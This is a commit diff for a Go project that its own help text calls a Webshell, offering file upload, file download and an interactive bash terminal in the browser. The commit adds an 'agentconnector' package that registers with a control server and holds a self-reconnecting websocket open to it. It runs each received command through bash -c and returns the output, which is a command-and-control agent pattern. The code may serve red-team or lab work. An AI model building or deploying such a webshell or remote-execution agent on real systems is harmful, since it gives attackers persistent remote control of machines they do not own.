added port number to the websocket connection
This commit is contained in:
		
							parent
							
								
									23046e026d
								
							
						
					
					
						commit
						380ff26eef
					
				
							
								
								
									
										3
									
								
								Makefile
								
								
								
								
							
							
						
						
									
										3
									
								
								Makefile
								
								
								
								
							| 
						 | 
					@ -13,7 +13,8 @@ all: build
 | 
				
			||||||
 | 
					
 | 
				
			||||||
build: ## Build the application
 | 
					build: ## Build the application
 | 
				
			||||||
	@echo "Building $(APP_NAME)..."
 | 
						@echo "Building $(APP_NAME)..."
 | 
				
			||||||
	$(GO_BUILD) -o $(BINARY)
 | 
						# $(GO_BUILD) -o $(BINARY)
 | 
				
			||||||
 | 
						$(GO_BUILD) -ldflags "-w" -o $(BINARY)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
install: build ## Install the application
 | 
					install: build ## Install the application
 | 
				
			||||||
	@echo "Installing $(APP_NAME)..."
 | 
						@echo "Installing $(APP_NAME)..."
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
							
								
								
									
										59
									
								
								main.go
								
								
								
								
							
							
						
						
									
										59
									
								
								main.go
								
								
								
								
							| 
						 | 
					@ -10,6 +10,7 @@ import (
 | 
				
			||||||
	"html/template"
 | 
						"html/template"
 | 
				
			||||||
	"io"
 | 
						"io"
 | 
				
			||||||
	"log"
 | 
						"log"
 | 
				
			||||||
 | 
						"net"
 | 
				
			||||||
	"net/http"
 | 
						"net/http"
 | 
				
			||||||
	"net/url"
 | 
						"net/url"
 | 
				
			||||||
	"os"
 | 
						"os"
 | 
				
			||||||
| 
						 | 
					@ -18,9 +19,12 @@ import (
 | 
				
			||||||
	"path/filepath"
 | 
						"path/filepath"
 | 
				
			||||||
	"regexp"
 | 
						"regexp"
 | 
				
			||||||
	"strings"
 | 
						"strings"
 | 
				
			||||||
 | 
						"sync"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	"github.com/creack/pty"
 | 
						"github.com/creack/pty"
 | 
				
			||||||
	"github.com/gorilla/websocket"
 | 
						"github.com/gorilla/websocket"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						"gommand/src/agentconnector"
 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
type PageData struct {
 | 
					type PageData struct {
 | 
				
			||||||
| 
						 | 
					@ -36,6 +40,8 @@ type CommandOutput struct {
 | 
				
			||||||
	Error   string
 | 
						Error   string
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// Contains the list of commands, which will be parsed recursively
 | 
				
			||||||
 | 
					// through executeCommandTree() and in the end executeCommand()
 | 
				
			||||||
type CommandNode struct {
 | 
					type CommandNode struct {
 | 
				
			||||||
	Operator 	string
 | 
						Operator 	string
 | 
				
			||||||
	Left 		*CommandNode
 | 
						Left 		*CommandNode
 | 
				
			||||||
| 
						 | 
					@ -485,14 +491,60 @@ func handler(w http.ResponseWriter, r *http.Request) {
 | 
				
			||||||
	tmpl.Execute(w, data)
 | 
						tmpl.Execute(w, data)
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func main() {
 | 
					func startMainServer() (int, net.Listener) {
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	http.HandleFunc("/", handler)
 | 
						http.HandleFunc("/", handler)
 | 
				
			||||||
	http.HandleFunc("/upload", fileUploadHandler)
 | 
						http.HandleFunc("/upload", fileUploadHandler)
 | 
				
			||||||
	http.HandleFunc("/download", fileDownloadHandler)
 | 
						http.HandleFunc("/download", fileDownloadHandler)
 | 
				
			||||||
	http.HandleFunc("/terminal", terminalHandler)
 | 
						http.HandleFunc("/terminal", terminalHandler)
 | 
				
			||||||
	http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
 | 
						http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
 | 
				
			||||||
	fmt.Println("Starting server on :8080")
 | 
					
 | 
				
			||||||
	http.ListenAndServe(":8080", nil)
 | 
						listener, err := net.Listen("tcp", ":0")
 | 
				
			||||||
 | 
						if err != nil {
 | 
				
			||||||
 | 
							log.Fatal(err)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						port := listener.Addr().(*net.TCPAddr).Port
 | 
				
			||||||
 | 
						log.Println("Using port:", port)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						return port, listener
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func main() {
 | 
				
			||||||
 | 
						// http.HandleFunc("/", handler)
 | 
				
			||||||
 | 
						// http.HandleFunc("/upload", fileUploadHandler)
 | 
				
			||||||
 | 
						// http.HandleFunc("/download", fileDownloadHandler)
 | 
				
			||||||
 | 
						// http.HandleFunc("/terminal", terminalHandler)
 | 
				
			||||||
 | 
						// http.Handle("/static/", http.FileServer(http.FS(staticFiles)))
 | 
				
			||||||
 | 
						// // fmt.Println("Starting server on :8080")
 | 
				
			||||||
 | 
						// // log.Fatal(http.ListenAndServe(":8080", nil))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						// /* This section opens the server on a random port which is also free to use */
 | 
				
			||||||
 | 
						// listener, err := net.Listen("tcp", ":0")
 | 
				
			||||||
 | 
						// if err != nil {
 | 
				
			||||||
 | 
						// 	panic(err)
 | 
				
			||||||
 | 
						// }
 | 
				
			||||||
 | 
						// log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port)
 | 
				
			||||||
 | 
						// log.Fatal(http.Serve(listener, nil))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						port, listener := startMainServer()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						var wg sync.WaitGroup
 | 
				
			||||||
 | 
						wg.Add(2)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						go func() {
 | 
				
			||||||
 | 
							defer wg.Done()
 | 
				
			||||||
 | 
							log.Fatal(http.Serve(listener, nil))
 | 
				
			||||||
 | 
						}()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						go func() {
 | 
				
			||||||
 | 
							defer wg.Done()
 | 
				
			||||||
 | 
							agentconnector.StartServer(port)
 | 
				
			||||||
 | 
						}()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						wg.Wait()
 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
var upgrader = websocket.Upgrader {
 | 
					var upgrader = websocket.Upgrader {
 | 
				
			||||||
| 
						 | 
					@ -540,6 +592,7 @@ func terminalHandler (w http.ResponseWriter, r *http.Request) {
 | 
				
			||||||
			break
 | 
								break
 | 
				
			||||||
		}
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							// This is done, so resizing works in the browser, especially resizing the terminal
 | 
				
			||||||
		// Check if the message is binary and starts with control prefix 0xFF.
 | 
							// Check if the message is binary and starts with control prefix 0xFF.
 | 
				
			||||||
		if len(message) > 0 && message[0] == 0xFF {
 | 
							if len(message) > 0 && message[0] == 0xFF {
 | 
				
			||||||
			var resizeMsg struct {
 | 
								var resizeMsg struct {
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
| 
						 | 
					@ -0,0 +1,182 @@
 | 
				
			||||||
 | 
					package agentconnector
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					import (
 | 
				
			||||||
 | 
						"encoding/json"
 | 
				
			||||||
 | 
						"fmt"
 | 
				
			||||||
 | 
						"log"
 | 
				
			||||||
 | 
						"net/http"
 | 
				
			||||||
 | 
						"net/url"
 | 
				
			||||||
 | 
						"os/exec"
 | 
				
			||||||
 | 
						"time"
 | 
				
			||||||
 | 
						"math/rand"
 | 
				
			||||||
 | 
						"math"
 | 
				
			||||||
 | 
						"strconv"
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						"github.com/gorilla/websocket"
 | 
				
			||||||
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					const(
 | 
				
			||||||
 | 
						webServerAddr 	= "127.0.0.1:3333"
 | 
				
			||||||
 | 
						webSocketAddr   = "127.0.0.1:5555"
 | 
				
			||||||
 | 
						registerURL = "http://" + webServerAddr + "/agents"
 | 
				
			||||||
 | 
						// wsURL 		= "ws://" + webSocketAddr + "/data"
 | 
				
			||||||
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					type Agent struct {
 | 
				
			||||||
 | 
						AgentName 		string `json:"agentName"`
 | 
				
			||||||
 | 
						AgentID         string `json:"agentId"`
 | 
				
			||||||
 | 
						AgentType       string `json:"agentType"`
 | 
				
			||||||
 | 
						AgentIP         string `json:"agentIp"`
 | 
				
			||||||
 | 
						InitialContact 	string `json:"initialContact"`
 | 
				
			||||||
 | 
						LastContact     string `json:"lastContact"`
 | 
				
			||||||
 | 
						AddPort 		string `json:"addPort"`
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					type Message struct {
 | 
				
			||||||
 | 
						Type 	string `json:"type"`
 | 
				
			||||||
 | 
						Payload string `json:"payload"`
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					var conn *websocket.Conn
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func registerAgent(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						form := url.Values{}
 | 
				
			||||||
 | 
						form.Add("agentId", agentId)
 | 
				
			||||||
 | 
						form.Add("agentName", agentName)
 | 
				
			||||||
 | 
						form.Add("agentType", agentType)
 | 
				
			||||||
 | 
						form.Add("IPv4Address", agentIp)
 | 
				
			||||||
 | 
						form.Add("addPort", addPort)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						resp, err := http.PostForm(registerURL, form)
 | 
				
			||||||
 | 
						if err != nil {
 | 
				
			||||||
 | 
							return fmt.Errorf("Error registering agent: %v", err)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
						defer resp.Body.Close()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if resp.StatusCode != http.StatusCreated {
 | 
				
			||||||
 | 
							return fmt.Errorf("Failed to register agent, status: %v", resp.Status)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						log.Printf("Agent %s successfully registered.", agentName)
 | 
				
			||||||
 | 
						return nil
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func connectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
				
			||||||
 | 
						wsURL := fmt.Sprintf("ws://%s/data?agentName=%s&agentId=%s&IPv4Address=%s&agentType=%s&addPort=%s", webSocketAddr, url.QueryEscape(agentName), url.QueryEscape(agentId), url.QueryEscape(agentIp), url.QueryEscape(agentType), url.QueryEscape(addPort))
 | 
				
			||||||
 | 
						var err error
 | 
				
			||||||
 | 
						for {
 | 
				
			||||||
 | 
							conn, _, err = websocket.DefaultDialer.Dial(wsURL, nil)
 | 
				
			||||||
 | 
							if err == nil {
 | 
				
			||||||
 | 
								log.Println("WeSocket connection established")
 | 
				
			||||||
 | 
								// logger.LogEntries = append(logger.LogEntries, fmt.Sprintf("%s websocket established", time.Now().Format(time.RFC3339)))
 | 
				
			||||||
 | 
								return nil
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							log.Printf("Failed to connect to WebSocket: %v. Retrying in 5 seconds...", err)
 | 
				
			||||||
 | 
							time.Sleep(5 * time.Second)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort string) error {
 | 
				
			||||||
 | 
						backoff := 2 * time.Second
 | 
				
			||||||
 | 
						maxBackoff := 1 * time.Minute
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for {
 | 
				
			||||||
 | 
							log.Println("Attempting to reconnect to WebSocket...")
 | 
				
			||||||
 | 
							err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort)
 | 
				
			||||||
 | 
							if err == nil {
 | 
				
			||||||
 | 
								log.Println("Reconnection succesful.")
 | 
				
			||||||
 | 
								return nil
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							log.Printf("Reconnection failed: %v", err)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							time.Sleep(backoff)
 | 
				
			||||||
 | 
							backoff *= 2
 | 
				
			||||||
 | 
							if backoff > maxBackoff {
 | 
				
			||||||
 | 
								backoff = maxBackoff
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func listenForCommands(agentName, agentId, agentIp, agentType, addPort string) {
 | 
				
			||||||
 | 
						defer conn.Close()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						for {
 | 
				
			||||||
 | 
							_, rawMessage, err := conn.ReadMessage()
 | 
				
			||||||
 | 
							if err != nil {
 | 
				
			||||||
 | 
								log.Printf("Connection lost: %v", err)
 | 
				
			||||||
 | 
								if reconnectErr := reconnectToWebSocket(agentName, agentId, agentIp, agentType, addPort); reconnectErr != nil {
 | 
				
			||||||
 | 
									log.Printf("Critical error during reconnection: %v", reconnectErr)
 | 
				
			||||||
 | 
									}
 | 
				
			||||||
 | 
								continue
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							var message Message
 | 
				
			||||||
 | 
							if err := json.Unmarshal(rawMessage, &message); err != nil {
 | 
				
			||||||
 | 
								log.Printf("Error unmarshalling message: %v", err)
 | 
				
			||||||
 | 
								continue
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if message.Type != "command" {
 | 
				
			||||||
 | 
								log.Printf("Ignoring non-command message: %v", message)
 | 
				
			||||||
 | 
								continue
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							command := message.Payload
 | 
				
			||||||
 | 
							log.Printf("Received command: %s", command)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							cmd := exec.Command("bash", "-c", command)
 | 
				
			||||||
 | 
							output, err := cmd.CombinedOutput()
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							response := Message{
 | 
				
			||||||
 | 
								Type: "response",
 | 
				
			||||||
 | 
								Payload: string(output),
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							if err != nil {
 | 
				
			||||||
 | 
								response.Payload += fmt.Sprintf("\n Error executing command: %v", err)
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							responseBytes, _ := json.Marshal(response)
 | 
				
			||||||
 | 
							if err := conn.WriteMessage(websocket.TextMessage, responseBytes); err != nil {
 | 
				
			||||||
 | 
								log.Printf("Error sending output: %v", err)
 | 
				
			||||||
 | 
								break
 | 
				
			||||||
 | 
							}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
							log.Printf("Output sent to server.")
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					func randomInt(length int) int {
 | 
				
			||||||
 | 
					    rand.Seed(time.Now().UnixNano())
 | 
				
			||||||
 | 
						min := int(math.Pow10(length-1))
 | 
				
			||||||
 | 
						max := int(math.Pow10(length)) -1
 | 
				
			||||||
 | 
						return rand.Intn(max-min+1) + min
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					// func main() {
 | 
				
			||||||
 | 
					func StartServer(agentInteractivePort int){
 | 
				
			||||||
 | 
						// agentInteractivePort is only needed for interactive sessions
 | 
				
			||||||
 | 
						agentName := "Agent-001"
 | 
				
			||||||
 | 
						agentId := strconv.Itoa(randomInt(8))
 | 
				
			||||||
 | 
						agentIp := "127.0.0.1"
 | 
				
			||||||
 | 
						agentType := "Interactive"
 | 
				
			||||||
 | 
						addPort := strconv.Itoa(agentInteractivePort)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						log.Printf("AgentId: %s", agentId)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						// if err := registerAgent(agentName, agentId, agentIp, agentType); err != nil {
 | 
				
			||||||
 | 
						// 	log.Fatalf("Agent registration failed: %v", err)
 | 
				
			||||||
 | 
						// }
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						if err := connectToWebSocket(agentName, agentId, agentIp, agentType, addPort); err != nil {
 | 
				
			||||||
 | 
							log.Fatalf("Websocket connection failed: %v", err)
 | 
				
			||||||
 | 
						}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
						listenForCommands(agentName, agentId, agentIp, agentType, addPort)
 | 
				
			||||||
 | 
					}
 | 
				
			||||||
| 
						 | 
					@ -1,11 +1,11 @@
 | 
				
			||||||
const helpMsg = `
 | 
					const helpMsg = `
 | 
				
			||||||
This is a non interactive Webshell including some additional features to ease
 | 
					This is a non interactive Webshell with an interactive mode, including some
 | 
				
			||||||
communications between server and client.
 | 
					additional features to ease communications between server and client.
 | 
				
			||||||
  Available Commands:
 | 
					  Available Commands:
 | 
				
			||||||
    upload            Upload files to the server through the file selector of the browser.
 | 
					    upload            Upload files to the server through the file selector of the browser.
 | 
				
			||||||
    download <file>   Download files from the server to your local download directory.
 | 
					    download <file>   Download files from the server to your local download directory.
 | 
				
			||||||
    theme <theme>     Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
 | 
					    theme <theme>     Change the colorscheme of the shell. Type theme to get an overview of all colorschemes.
 | 
				
			||||||
    start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to exit the interactive shell.
 | 
					    start-interactive Opens a bash shell in an interactive terminal. Type ctrl+d to go back to non-interactive mode.
 | 
				
			||||||
`
 | 
					`
 | 
				
			||||||
// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n  Available Commands:\n    upload\t\t\t\tUpload files to the server through the file selector of the browser.\n    download <file>\t\t\tDownload files from the server to your local download directory.\n    theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n    start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
 | 
					// const helpMsg = 'This is a non interactive Webshell including some additional features to ease communications between server and client.\n  Available Commands:\n    upload\t\t\t\tUpload files to the server through the file selector of the browser.\n    download <file>\t\t\tDownload files from the server to your local download directory.\n    theme <theme>\t\t\tChange the colorscheme of the shell. Type theme to get an overview of all colorschemes.\n    start-interactive\t\t\tOpens a bash shell in an interactive terminal. Type ctrl+d to exi the interactive shell.'
 | 
				
			||||||
 | 
					
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in New Issue